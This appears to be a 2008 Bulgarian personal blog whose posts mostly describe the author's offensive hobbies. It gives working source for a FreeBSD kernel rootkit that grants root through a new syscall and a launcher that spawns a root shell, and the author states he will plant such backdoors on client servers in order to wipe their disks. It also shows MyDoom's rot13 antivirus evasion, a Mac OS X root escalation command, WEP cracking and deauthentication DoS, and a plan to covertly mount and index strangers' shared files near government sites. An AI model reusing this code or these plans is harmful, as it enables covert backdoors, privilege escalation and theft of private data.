D-Link DWL-G122 и KisMAC

Posted by Kiril Kirov Sun, 14 Dec 2008 14:01:00 GMT

Преди време си взех тази WLAN карта, защото имаше поддръжка за Linux и Mac OS X. Лошото беше, че не успях да я подкарам в KisMAC. Преди няколко дни с радост установих, че са сложили драйвер за нея. Тръгна без ядове в KisMAC trunk r319 с USB RT73 device. Очевидно е с някакъв Ralink чип. За целта обаче трябва да се махнат “официалните” драйвери на D-Link. Повече информация по въпроса има тук. Върши очудващо добра работа за auth/deauth активни DoS атаки срещу WPA, докато в същото време вградената карта стои в пасивен режим. KisMAC си работи чудесно с двете карти едновременно, при чупене на WEP могат да се ползват заедно, като активната прави packet injection. Доста приятни занимания (в стил прееби другарчето) за мрачен неделен следобед.

12 години мачкане на стека

Posted by Kiril Kirov Thu, 16 Oct 2008 10:45:00 GMT

Ето тази C конструкция ще ме надживее:

   char buf[20000];
   sprintf(buf, "%s", str);

Виждал съм я хиляди пъти през годините, обяснявал съм на маса народ защо аджеба не трябва да правим така, ама никога. Последната ми среща с нея е от днес. Изминаха почти 12 години от великата статия на Aleph One в списание PhrackSmashing the stack for fun and profit. Когато напишем man sprintf във всеки един UNIX, който съм ползвал през последните години има следните пространствени обяснения:

SECURITY CONSIDERATIONS
     The sprintf() and vsprintf() functions are easily misused in a manner
     which enables malicious users to arbitrarily change a running program's
     functionality through a buffer overflow attack.  Because sprintf() and
     vsprintf() assume an infinitely long string, callers must be careful not
     to overflow the actual space; this is often hard to assure.  For safety,
     programmers should use the snprintf() interface instead.  For example:

     void
     foo(const char *arbitrary_string, const char *and_another)
     {
             char onstack[8];

     #ifdef BAD
             /*
              * This first sprintf is bad behavior.  Do not use sprintf!
              */
             sprintf(onstack, "%s, %s", arbitrary_string, and_another);
     #else
             /*
              * The following two lines demonstrate better use of
              * snprintf().
              */
             snprintf(onstack, sizeof(onstack), "%s, %s", arbitrary_string,
                 and_another);
     #endif
     }

     The printf() and sprintf() family of functions are also easily misused in
     a manner allowing malicious users to arbitrarily change a running pro-
     gram's functionality by either causing the program to print potentially
     sensitive data ``left on the stack'', or causing it to generate a memory
     fault or bus error by dereferencing an invalid pointer.

     %n can be used to write arbitrary data to potentially carefully-selected
     addresses.  Programmers are therefore strongly advised to never pass
     untrusted strings as the format argument, as an attacker can put format
     specifiers in the string to mangle your stack, leading to a possible
     security hole.  This holds true even if the string was built using a
     function like snprintf(), as the resulting string may still contain user-
     supplied conversion specifiers for later interpolation by printf().

     Always use the proper secure idiom:

           snprintf(buffer, sizeof(buffer), "%s", string);

И въпреки всичко още се намират оптимисти, които си мислят, че това по някакви причини не важи за тях. Естествено за да се сринат нещата подобаващо не е необходимо наличието на malicious users. Достатъчно е просто по някакви причини, стринга който ще пишем в буфера да няма ’\0’ накрая или пък да е по-голям от заделеното място. Един готин бъзик към хора използващи подобна конструкция е – “добре де, защо точно 20000, а не примерно 5000?”. Трудно може да се даде разумен отговор на този въпрос. Факт е, че ние очакваме да запишем в буфера някакви данни, без да имаме представа колко са големи. Нормално е, имайки предвид, че пишем в стека, ако данните са повече, да не можем да ги съберем в буфера. Използвайки правилната конструкция, можем просто да проверим дали са се хванали, и ако не са да върнем грешка. Използвайки неправилната просто ще омажем стека, ако имаме късмет програмата ще излезе със SIGSEGV, ако нямаме – ще продължи да работи и едва ли някой може да каже какво ще се случи. Писането на C не е за всеки, и най-големите майстори често си омазват стека. Много се дразня обаче, когато хората сами си правят проблемите и те са очевидни. Използването на snprintf вместо sprintf е нещо елементарно, което не изисква никакви усилия, просто трябва малко повече писане. Има маса публикации и статии по темата.

В случая друг озадачаващ момент е, че въпросната конструкция я срещнах в програма на C++, на място където не виждам нужда да се ползва стека. На същото място можем да използваме поток, можем да ползваме типа string, можем да ползваме динамична памет. Има хиляди възможности, и все пак авторът на кода е решил, че точно там ще плясне този sprintf.

RMS по темата "Cloud Computing" 3

Posted by Kiril Kirov Wed, 01 Oct 2008 08:30:00 GMT

Има много теми, по които не съм съгласен с този човек. Но има много повече други теми, по които съм напълно съгласен. Ето една от тях – “Cloud Computing” :

“It’s stupidity. It’s worse than stupidity: it’s a marketing hype campaign,” he told The Guardian.

“Somebody is saying this is inevitable – and whenever you hear somebody saying that, it’s very likely to be a set of businesses campaigning to make it true.”

“The interesting thing about cloud computing is that we’ve redefined cloud computing to include everything that we already do,” he said. “The computer industry is the only industry that is more fashion-driven than women’s fashion. Maybe I’m an idiot, but I have no idea what anyone is talking about. What is it? It’s complete gibberish. It’s insane. When is this idiocy going to stop?”

“One reason you should not use web applications to do your computing is that you lose control,” he said. “It’s just as bad as using a proprietary program. Do your own computing on your own computer with your copy of a freedom-respecting program. If you use a proprietary program or somebody else’s web server, you’re defenceless. You’re putty in the hands of whoever developed that software.”

Цялото интервю с RMS можете да прочетете тук. Хубаво е, че все пак има извесно количество умни хора, които да успокояват хилядите “fashion” тенденции, заливащи ни непрекъснато.

Интернет != политика 6

Posted by Kiril Kirov Wed, 24 Sep 2008 17:20:00 GMT

Чудя се колко ли хора знаят какво е това…

/*
 * Definitions for internet protocol version 4.
 * Per RFC 791, September 1981.
 */
#define  IPVERSION   4

/*
 * Structure of an internet header, naked of options.
 */
struct ip {
#if BYTE_ORDER == LITTLE_ENDIAN
   u_int ip_hl:4,    /* header length */
      ip_v:4;        /* version */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   u_int ip_v:4,        /* version */
      ip_hl:4;    /* header length */
#endif
   u_char   ip_tos;        /* type of service */
   u_short  ip_len;        /* total length */
   u_short  ip_id;         /* identification */
   u_short  ip_off;        /* fragment offset field */
#define  IP_RF 0x8000         /* reserved fragment flag */
#define  IP_DF 0x4000         /* dont fragment flag */
#define  IP_MF 0x2000         /* more fragments flag */
#define  IP_OFFMASK 0x1fff    /* mask for fragmenting bits */
   u_char   ip_ttl;        /* time to live */
   u_char   ip_p;       /* protocol */
   u_short  ip_sum;        /* checksum */
   struct   in_addr ip_src,ip_dst;  /* source and dest address */
} __packed;

/*
 * TCP header.
 * Per RFC 793, September, 1981.
 */
struct tcphdr {
   u_short  th_sport;      /* source port */
   u_short  th_dport;      /* destination port */
   tcp_seq  th_seq;        /* sequence number */
   tcp_seq  th_ack;        /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
   u_int th_x2:4,    /* (unused) */
      th_off:4;      /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   u_int th_off:4,      /* data offset */
      th_x2:4;    /* (unused) */
#endif
   u_char   th_flags;
#define  TH_FIN   0x01
#define  TH_SYN   0x02
#define  TH_RST   0x04
#define  TH_PUSH  0x08
#define  TH_ACK   0x10
#define  TH_URG   0x20
#define  TH_ECE   0x40
#define  TH_CWR   0x80
#define  TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_PUSH|TH_ACK|TH_URG|TH_ECE|TH_CWR)

   u_short  th_win;        /* window */
   u_short  th_sum;        /* checksum */
   u_short  th_urp;        /* urgent pointer */
};

Тези, които са го прочели вече знаят, че това са структурите определящи съответно IP и TCP хедърите в TCP/IP v4 протокола. За хората, които нямат никаква идея от компютри пояснявам – този протокол се използва за комуникация в Интернет. Това е част от т.нар BSD TCP/IP стек, който към настоящия момент се използва във всеки един компютър, PDA, телефон, WLAN рутер и т.н. Всеки човек ползващ Интернет използва тези две структури от данни по няколко хиляди (или милиона?) пъти дневно. Обърнете внимание, в коментарите преди двете структури има дата – септември, 1981 година. Това е датата на RFC 791 и RFC 793, стандартите в които са описани тези структури. Тези стандарти, а най-вероятно и този код са писани преди колко? Ако мога да смятам правилно 27 години. Не знам какъв е бил света тогава, защото съм роден през декември 1982 година, а с компютри се занимавам от 1994 година насам. Светът сигурно доста се е променил за тези години, но протокола за комуникация в Интернет си е същия. И това не е случайно.

Казвам всички тези неща във връзка с термина “интернет анонимност”. През последните дни чета по блоговете прекалено много политически статии по темата, част от които звучат просто смешно. Говори се за някакви бити хора, някакви чукове, някакви тайни служби, мафия и международни конспирации. Защо ли? Докато TCP/IP – този 27 годишен протокол се използва за комуникация в Интернет, двама случайни потребители – Иванчо и Марийка ще могат да комуникират анонимно и конфиденциално. Бих се опитал да обясня, че това ще е възможно и при всякакъв друг протокол, но тази статия ще стане прекалено дълга. Този факт по никакъв начин не се влияе от Юропейския Съюз, ДС, ДАНС, Главата на Римокатолическата църква и Арменския поп. Всички тези институции, както и много, много други не спират да правят опити да въздействат върху начина, по който потребителите комуникират. Често тези опити са банални и смешни, защото нито една от тези институции не разбира в детайли какво точно се опитва да прави. Те също така не разбират принципите на Интернет, както и защо той работи по начина, по който работи. Истината е много проста – криптографията защитава данните от неправомерен достъп (разбирай четене на пакетите в движение), P2P комуникацията ни гарантира анонимност. Всеки който е ползвал Tor знае това. Могат да бъдат измислени какви ли не закони, които да ограничават тези неща. Те ще бъдат неприложими и елементарни за заобикаляне.

Фактът, че в България пребиха човек на улицата, за нещо което е писал в Интернет е много тъжен. Но по дяволите, вие какво очаквахте да стане? Живеем на Балканите, тук има стотици, а може би и хиляди закони, които просто не се спазват. Всичко се купува с пари, а мафията е изключително силна. Вероятността човек да яде бой говорейки срещу управляващите или мафията е много голям. Особено ако казва верни неща, които не са публично известни. Използването на технически средства е само един от многото начини мафията да се добере до такъв човек. Ако този човек е достатъчно технически грамотен, техническите средства не важат. Остават другите начини – примерно, срещу достатъчно много пари и най-близките му хора биха го “топнали”.

Така, че пишете анонимно в Интернет – нито ЕС, нито ДАНС могат да ви отнемат това право. Също както не могат да отменят законите на Нютон. Мисля, че на тази тема не трябва да се гледа политически, а технически. Но не очаквайте, че това ще ви донесе сигурност и, че няма да ви бият на улицата, ако засегнете нечии интереси. В мафиотските държави това е нормално. Аз не мисля, че някакви протести и подскачане по улиците под лозунга “анонимност в Интернет” биха променили този факт. Борбата с организираната престъпност, която в България още не е започнала, ще е дълга и ще има много жертви. Като пример в това отношение – всеки е чувал за италианската мафия и борбата с нея. Нашата родна мафия е доста по-силна, всъщност италианската държава си е имала мафия, а българската мафия си има държава.

Кодиране на низове

Posted by Kiril Kirov Sun, 24 Aug 2008 17:43:00 GMT

Следваща техника, която реших да ползвам в моя нов rootkit е кодирането на низове в изпълнимия файл. Това е една стара моя идея, открадната от сорс кода на един много добре написан вирус, известен под името MyDoom. Всяка глупава Windows антивирусна програма, освен дефиниции на вече познатите вируси използва и някакви “евристики”, които уж разпознават и неизвесни до момента (не дефинирани) вируси. Тази техника с евристиките никога не е работела добре. Честичко се случва нещо по тях да се оплеска и някой гениялен антивирусен продукт да разпознае всички системни файлове като вируси. На моменти може би и нещо истинско биха разпознали, но незнам кой ще им повярва (Unknown virus detected!). За да работи това нещо в него има някакви правила, подобни на тези в експертните системи, както и софтуер за сканиране. За да се сканира един изпълним файл, цялата “читаема” информация от него се прочита и върху нея се прилагат правилата. Читаемата информация не може да бъде нищо друго освен разни случайно разхвърляни из файла стрингове. Обикновено правилата носят някакъв брой точки за това, че дадено нещо е вирус. При прехвърлянето на даден праг, то се приема за вирус. Правилата имат следния вид – “ако една програма е изтеглена преди по-малко от 5 минути, в нея се срещат низовете kernel32.dll и UPX – 10 точки, че тя е вирус”. Защо UPX и kernel32.dll? Ами защото 80% от писачите на вируси за Windows ги пакетират с UPX, а всеки вирус рано или късно трябва да ползва функциите в kernel32.dll за работа с ядрото на Windows. Естествено заразявайки една машина, даден вирус може просто да изключи антивирусните програми използвайки един друг интерфейс, любезно предоставен от Microsoft. Но това е друга тема. Винаги ми се е струвало далеч по-елегантно един нов вирус да си работи паралелно с антивирусната програма. Това прави и MyDoom, а за да се избегне евентуалното засичане чрез евристики, низовете в неговия изпълним файл за кодирани. Ето как:
char rot13c(char c)
{
   char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
   char l[] = "abcdefghijklmnopqrstuvwxyz";
   char *p;

   if ((p = xstrchr(u, c)) != NULL)
      return u[((p-u) + 13) % 26];
   else if ((p = xstrchr(l, c)) != NULL)
      return l[((p-l) + 13) % 26];
   else
      return c;
}

void rot13(char *buf, const char *in)
{
   while (*in)
      *buf++ = rot13c(*in++);
   *buf = 0;
}

int is_online(void)
{
   WININET_GETCONNECTEDSTATE pInternetGetConnectedState;
   HINSTANCE hWinInet;
   DWORD igcs_flags;
   char tmp[64];

   rot13(tmp, "jvavarg.qyy");                /* "wininet.dll" */
   hWinInet = GetModuleHandle(tmp);
   if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE) {
      hWinInet = LoadLibrary(tmp);
      if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE)
         return 2;
   }

   rot13(tmp, "VagreargTrgPbaarpgrqFgngr");  /* "InternetGetConnectedState" */
   pInternetGetConnectedState = (WININET_GETCONNECTEDSTATE)GetProcAddress(hWinInet, tmp);
   if (pInternetGetConnectedState == NULL)
      return 2;

   return (pInternetGetConnectedState(&igcs_flags, 0) == 0) ? 0 : 1;
}

Какво правим всъщност? Много е просто – използваме най-елементарното възможно кодиране с rot13 в сорс кода на програмата. Вместо wininet.dll имаме jvavarg.qyy. Преобразуването обратно става по време на изпълнението (run-time). Този вирус беше доста успешен преди години, създаде глобални проблеми в маршрутизацията и беше причина за някои идиотски изявления от страна на антивирусните фирми. Надпреварваха се да обясняват колко бил “advanced”. Всъщност толкова е “advanced” да се въртят низовете с по 13 символа, че чак Цезар го е ползвал преди повече от 2000 години. Кодирането по този начин е универсално, разбира се може да ползваме нещо различно и много по-мощно от rot13.

На времето имаше една интересна статия в Phrack. Там се говореше за кодиране на shellcodes, по начин който да не позволява откриването им от IDS подобни на Snort. За да е добре скрит един shellcode, той трябва максимално много да прилича на нормален трафик. Значението на нормален трафик е различно за всяка мрежа, но хубавото е, че ние можем да го измерим. Това което трябва да направим се нарича спректрален анализ. Трябва да се напише елементарна програма, която прави хистограма на байтовете пътуващи по мрежата. Тоест поддържа брояч – колко пъти е минал всеки байт. След като направим такава хистограма ще видим, че някои байтове се срещат много повече от други. Например по http конекциите ще текат много повече ASCII символи от колкото двойчни данни. Имайки един такъв спектрален анализ и познания по теория на кодирането, можем да си направим код. Този код ще кодира данните по такъв начин, че техния спектър да бъде максимално близък до спектъра на данните вървящи по мрежата. Това силно затруднява откриването на един shellcode от IDS. В списанието имаше работещ софтуер по въпроса.

Същата еквилибристика можем да приложим и по отношение на кодирането на низовете в един изпълним файл. За целта е необходми да се направи спректрален анализ на изпълнимите файлове. Той би трябвало да е различен за различните операционни системи (или поне за различните executable formats). Аз чак до там не съм стигнал, всъщност на мен и rot13 няма да ми трябва, понеже си познавам контингента. Никой никога няма да седне да рови. Но това са едни доста интересни идеи за бъдещо развитие на моя rootkit. Мисля, че ако някой ден, някой лош човек реши да пусне метаморфен вирус с хубав мутатор и спектрално добре прикрити данни – ще рулира света. Сегашните антивирусни може би вече се справят с rot13, но разбира се това няма никакво значение. Те винаги ще бъдат няколко крачки назад от пишещите вируси, според закона на Коен.

Hooking FreeBSD pfil framework

Posted by Kiril Kirov Sun, 24 Aug 2008 11:36:00 GMT

FreeBSD ядрото има API, който се използва от различните пакетни филтри. Този интерфейс предлага възможност за закачване на callback функции, които се извикват при пристигане на пакет по мрежата. В момента той се използва от pf и ipfilter, както предполагам и от различни други комерсиални firewall пакети. Този интерфейс е едно удобно място за закачване на един rootkit подобен на този, който аз пиша. Закачвайки се там той може да чете и променя целия мрежов трафик независимо от firewall настройките на системата. Също така е възможно пакетите въобще да не се предават до firewall модула, който е инсталиран на системата. За да използваме това API ни трябва модул към ядрото с няколко простички функции. Ето как можем да се закачим за него:
static int net_hook()
{
   struct pfil_head *pfh_inet; 

   pfh_inet = pfil_head_get(PFIL_TYPE_AF, AF_INET);

   if (pfh_inet == NULL)
      return(ESRCH);

   pfil_add_hook(net_check_in, NULL, PFIL_IN | PFIL_WAITOK, pfh_inet);
   pfil_add_hook(net_check_out, NULL, PFIL_OUT | PFIL_WAITOK, pfh_inet);

   return 0;
}   
Тази функция работи с TAILQ свързания списък с пакетни филтри на ядрото. С pfil_add_hook закачваме две callback фунцкии, които се извикват съответно при пристигане и изпращане на пакет:
static int net_check_in(void *arg, struct mbuf **m, struct ifnet *ifp, int dir, struct inpcb *inp)
{
   struct ip *hdr;

   if ((*m)->m_pkthdr.len >= (int)sizeof(struct ip))
   {
      hdr = mtod(*m, struct ip *);
      printf("got ip packet with protocol number %d\n", hdr->ip_p);
   }
   return 0;
}

static int net_check_out(void *arg, struct mbuf **m, struct ifnet *ifp, int dir, struct inpcb *inp)
{            
   return 0;
}
Както тук, така и на всякъде другаде в ядрото пакетите са представени като вериги от mbuf елементи. Манипулацията на тези вериги изисква доста сложни еквилибристики, които няма смисъл да описвам тук. Осъществяването на някаква смислена пакетна комуникация използвайки този интерфейс би било доста трудно или дори не възможно. За тази цел е нормално да се ползва user space процес. Този интерфейс обаче, работейки в kernel mode, дава удобна възможност за пипане на някаква памет при пристигане на някакъв “магически” пакет. Точно тази възможност използвам аз в новия ми rootkit.

PS: Само до преди няколко години писането на какъвто и да било код за ядрото изискваше резервна машина, непрекъснато рестартиране, много свободно време и изключително здрави нерви. Сега си работя мързеливо от Parallels в ранния неделен следобед. За половин ден свърших толкова работа, колкото преди вършех за седмици. Обичам тази виртуализация!

Trivial FreeBSD rootkit 2

Posted by Kiril Kirov Sat, 23 Aug 2008 18:12:00 GMT

Тези дни ми писна да се разправям с разни некомпетентни идиоти, които си придават важности. След като онзи ден обяснявах по телефона на един млад талант как се изпълняват файлове от текущата директория, той беше достатъчно нахален да ми отреже достъпа до машината. В случая въобще не ми пука какво ще прави този неграмотник, но се замислих принципно по въпроса. Винаги съм бил честен и не съм си оставял задни вратички по сървърите. От тази си честност не си спомням нещо добро да съм видял. За сметка на това се сещам за поне четири-пет случая, когато с радост щях да забърша хард дисковете на някои неблагодарници. От сега нататък всяка нова машина ще инсталирам с малък и добре прикрит rootkit. Понеже не ми се ползват готови неща, реших да си напиша. Сетих се, че в /usr/share/examples/kld има няколко примерни модула за ядрото. Един от тях ползвах за скелет, после написах нещо елементарно и след няколко часа работа достигнах до желания ефект – добре замаскиран модул с кодирани стрингове и privilege elevation със system call. Утре мисля да го допиша да използва pfil framework за работа с пакети. Естествено не бих си го публикувал целия, но реших да публикувам най-елементарния му вариант.

elev.c – самият kernel module:

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

static int elev(struct thread *td, void *arg)
{
   td->td_proc->p_ucred->cr_uid = 0;
   return 0;
}

static struct sysent elev_sysent = 
{
   0,
   elev
};

static int offset = NO_SYSCALL;

static int load(struct module *module, int cmd, void *arg)
{
   int error = 0;

   switch (cmd) 
   {
      case MOD_LOAD :
         break;
      case MOD_UNLOAD :
         break;
      default :
         error = EOPNOTSUPP;
         break;
   }
   return error;
}

SYSCALL_MODULE(elev, &offset, &elev_sysent, load, NULL);
За да го компилираме, като модул е необходим Makefile. Ползваме стандартната FreeBSD инфраструктура за компилация:
KMOD= elev
SRCS= elev.c

.include 
След като заредим модула е необходимо да пуснем някакъв процес, който да извика новия system call, след което евентуално да пусне shell с root права:
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

int main()
{
   int syscall_num;
   struct module_stat stat;

   stat.version = sizeof(stat);
   modstat(modfind("elev"), &stat);
   syscall_num = stat.data.intval;
   syscall(syscall_num);
   execl("/bin/sh", "sh", NULL);
}
И това е всичко. В този вид работи, но не е добре да се ползва. Нямаме никаква автентикация, всеки процес, който извика новия system call ще добие effective uid 0. В истинската версия ползвам скрито предаване на информация към системното извикване, по това се определя дали на процеса наистина да се даде uid 0.

Mac OS X local privilege escalation

Posted by Kiril Kirov Mon, 23 Jun 2008 18:03:00 GMT

На 18 юни стана ясно, че в Mac OS X 10.5.3 има един много неприятен бъг, благодарение на който човек много лесно може да стане root. Дупката много лесно се вижда със следната команда:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
Това е проблем, който рано или късно се е случвал на повечето операционни системи. Дразнещото в този случай е реакцията на Apple, или по-скоро липсата на реакция от страна на Apple. Вече минаха 5 дни от както тази дупка в сигурността беше обявена публично. Писа се какво ли не в най-различни блогове и форуми. Хората очевидно се притесняват от този проблем. Едно елементарно решение е да се махне SUID бита от ARDAgent. Но това е по-скоро кръпка от колкото решение, възможно е и други стандартно работещи услуги със SUID бит да изпълняват толкова услужливо AppleScript. Най-малкото, което можеха да направят от Apple е да пуснат някаква информация до потребителите за какво става дума и в какъв срок ще бъде оправено. По някакво стечение на обстоятелствата днес се появиха 4-5 възможни, подобни дупки в Ruby. Няколко часа по-късно бяха пуснати пачове. Малко след това пуснах един portupgrade във FreeBSD и тези проблеми вече са в миналото. Може би проблемите в Ruby са били доста по елементарни, но не трябва да забравяме, че те са една отворена общност и едва ли могат да се сравняват с Apple по финансови възможности например. Сигурен съм, че Apple ще оправят този проблем, въпросът е кога. Всичко това потвърждава една стара теория. Ако Apple имаха толкова машини работещи с Mac OS, колкото Microsoft имат с Windows, проблемите със сигурността на Mac OS щяха да са също толкова много колкото тези в Windows.

Чупене на WEP

Posted by Kiril Kirov Sat, 31 May 2008 08:15:00 GMT

През последната седмица, целенасочено и за идеята, успях да счупя две WEP мрежи. Първата беше с Linksys WRTG AP с две-три машини включени към него. Трафика беше много слаб, главно ARP и SSDP заявки. Отне ми около 4 дни (и нощи) за да събера 28 800 IVs. Това се оказа достатъчно за разбиване на 128 битовия ключ на този AP. Това ми беше първото WEP кракване въобще. Втората мрежа беше някакъв Hidden WLAN, нямам идея с какъв AP. Трафика беше много голям и събрах 17 000 IVs за малко повече от час. Това беше достатъчно за разбиване на 64 битов ключ. Има тръпка в цялата работа и мисля, че успях да си намеря ново хоби. Интересен момент в разбиването е, че не си струва човек да губи много време в сметки, далеч по-ефективно е да се съберат повече пакети. Всъшност при вече събрани достатъчно много IVs, самото кракване отнема не повече от 5 минути. Това може да бъде проблем при по-слаб трафик, заради дългото чакане, може би си струва да се опита brute force с по-често използвани ключове. Голяма част от хората ги мързи да измислят 5 произволни байта и да ги запомнят. Първата парола която кракнах беше елементарна.

Копане на данни из улиците на София

Posted by Kiril Kirov Wed, 21 May 2008 08:07:00 GMT

Обикаляйки с новия ми MacBook по улиците на София и други големи градове ми прави впечатление следното нещо. Безплатен Интернет достъп може да се използва почти навсякъде. Има огромно количество 802.11 станции, които използват WEP или просто предлагат отворен достъп. Голяма част от тези точки са на някакви частни лица, които очевидно не са си направили труда да ги направят сигурни. По-голяма част са на фирми, които главно поради незнание и несъобразяване на последиците също не са ги направили сигурни. Една много голяма част от тези точки са БТК ADSL модеми, които предлагат 802.11, като допълнителна екстра, с някаква промоция на БТК, която стартира преди време. Много съм благодарен на БТК за тази промоция, вече мога да ползвам ADSL в целия град. Ползването на безплатна Интернет връзка е по-малкото зло в случая.

Много по-голям проблем, особено за фирмите, е неправомения достъп до информация. Освен, че всеки може да се свърже (асоциира) към дадена станция с отворен достъп, всеки може да подслушва трафика между станцията и отделните компютри свързани към нея. В случая с БТК ADSL модемите, това вклюва целия Интернет трафик на всички компютри в мрежата на станцията. По-важната част от този трафик, би трябвало да е криптиран сигунрно през HTTPS – комуникация с НОИ/НАП, както и банкови операции. Друг трафик, който може да представлява интерес е този между отделните компютри в мрежата. Оказва се, че голяма част от компютрите в такива мрежи се използват за обмен на файлове. Няколко пъти срещах цели споделени (shared) дискове с Windows XP. Естествено няма никакво значение дали те са споделени с парола или без, тъй като трафика между компютърите не е криптиран. Цялата тази работа ми е много интересна. След случая с болницата Токуда, чудя се до каква ли още информация може да се достигне с минимални усилия в тази посока. Сетих се за няколко доста прости, но ефективни неща, които ще опиша тук.

Подходящите точки за достъп (802.11 станции) са много, и са разпръснати из града. Необходимото време, което човек трябва да престои в обхвата на една точка се определя от броя на компютрите в нея, както и информацията на тях, която ни интересува. Идеалният вариант за обхождане е с кола, карайки бавно из задръстванията на София. Нещо като комбинация от wardriving и piggybacking. За да бъде ефективна тази работа, тя трябва да бъде автоматизирана. Би било глупаво човек да цъка на мака в колата и да рови папките на нещастниците, които са ги споделили. Хубавото на тази “атака” е, че тя може да бъде проведена на няколко пъти. Например може минавайки първия ден с компютъра през задръстването на Граф Игнатиев, човек да събере информация колко са интересните точки и да си опише кои компютри от тях ще сканира. На следващия ден може да си свали част от необходимата му информация и така нататък. Вероятността собствениците да се усетят е доста малка.

Първото нещо, което ни е необходимо е програма от сорта на iStumbler или KisMAC. Втората може много повече неща, но пък не е толкова удобна за ползване. Една такава програмка може да ни подскаже коя мрежа/станция би била интересна за нас. Също така може да ни сортира отделните станции по определени критерии, така че да можем да ги ровим наред. Няма да говоря за кракване на WEP, защото материали на тази тема бол, а и отворените мрежи са предостатъчно. След като си харесаме мрежа, можем се асоциираме към нея. Почти със сигурност ще получим IP адрес от мрежата, но това не е толкова важно. Вече асоциирани в нея можем да използваме tcpdump или Wireshark за да видим какво “тече” по нея и кои компютри са активни. Всички Windows машини се познават веднага благодарения на NetBIOS broadcast съобщенията. От тях става ясно кой/къде/какво е споделил, както и имената на отделните компютри в мрежата. Ето защо, каквото и да искаме да правим за повечето мрежи ще е много полезно да имаме Samba. По този начин ще можем да работим лесно с отделните споделени неща. Друго полезно нещо в случая, което вече имаме при положение, че ползваме Mac OS – MacFUSE. Някакъв Linux също би свършил добра работа в това отношение, идеята е да можем да закачваме файлови системи в user space на операционната система. Това предлага бърз, лесен и сигурен достъп до файловете, които ни вълнуват.

И така, до тук елементарно можем да напишем програма, която намира подходяща мрежа, намира подходящ компютър в нея и закачва част от неговата файлова система към нашата. Колко елементарно се пише тя няма да коментирам тук, само ще кажа, че подобна програма може да бъде написана на Apple Script или да бъде направена с помощта на Automator, без човек да е чувал що е то програмиране. Най-интересната част от тази мой идеи е какво да правим от тук нататък. Би било глупаво просто да ровим файловете или да преписваме на локалния диск всичко, което намерим. Всъшност няма никаква нужда да преписваме каквото и да било, поради простата причина, че информацията ще си бъде там и на следващия ден – просто е необходимо да отидем да си я вземем, стига да решим, че ни трябва. Някъде около 90% от намерената информация изобщо няма да ни интересува (не съм сигурен за процента, написах го наизуст). Трябва някакси да подберем информацията, а защо не и да търсим в нея. Този проблем адски много напомня за проблема за търсене и класифициране на информация в Интернет. Разбира се, този той е решен много елегантно от Google. Как точно – те си знаят. Всъшност нас не ни интересува, нашата задача може да бъде решена с техните алгоритми, просто трябва да използваме Google Desktop Search for Mac. Това е една доста добра и удобна програма, която ни позволява да направим индекс на файловата система и да използваме алгоритмите на Google за търсене в този индекс. По този начин много удобно можем да ровим локално из чат логове, PDF документи, man страници, сорсове на програми и още какво ли не. Тъй като споделените файлове на хората стават част от нашата файлова система, необходимо е само да пуснем индексирането на Google. Когато то приключи, можем да се развържем от съответната машина и да преминем към следваща. Разбира се, всичко това може да става автоматично, чрез програмата, която ще напишем. Резултатът е, една хубава SQLite база данни, която ние си пазим върху хард диска на мака. Ако сме били достатъчно хитри да си закачваме файловите системи на отделните компютъри към директории с точно определени имена – вече знаем кой файл, на кой чужд компютър се намира. След време, ако търсейки в индекса от вкъщи си харесаме нещо – просто можем да отидем и да си го копираме цялото. Какво ли би излезнало от едно такова търсене, например за – “пин код”, “договор”, “пълномощно”, “фактура”, “строго секретно”, ...

И така, оставям останалите подробности на читателите. Много съм любопитен какво би станало, ако някои с MacBook и такава програма се поразходи около Президентството, Народно Събрание, или пък около БНБ. Може би дори Министерство на Вътрешните Работи? ДСК на Плиска също е една интересна дестинация. Очаквам коментари, препоръки и отзиви.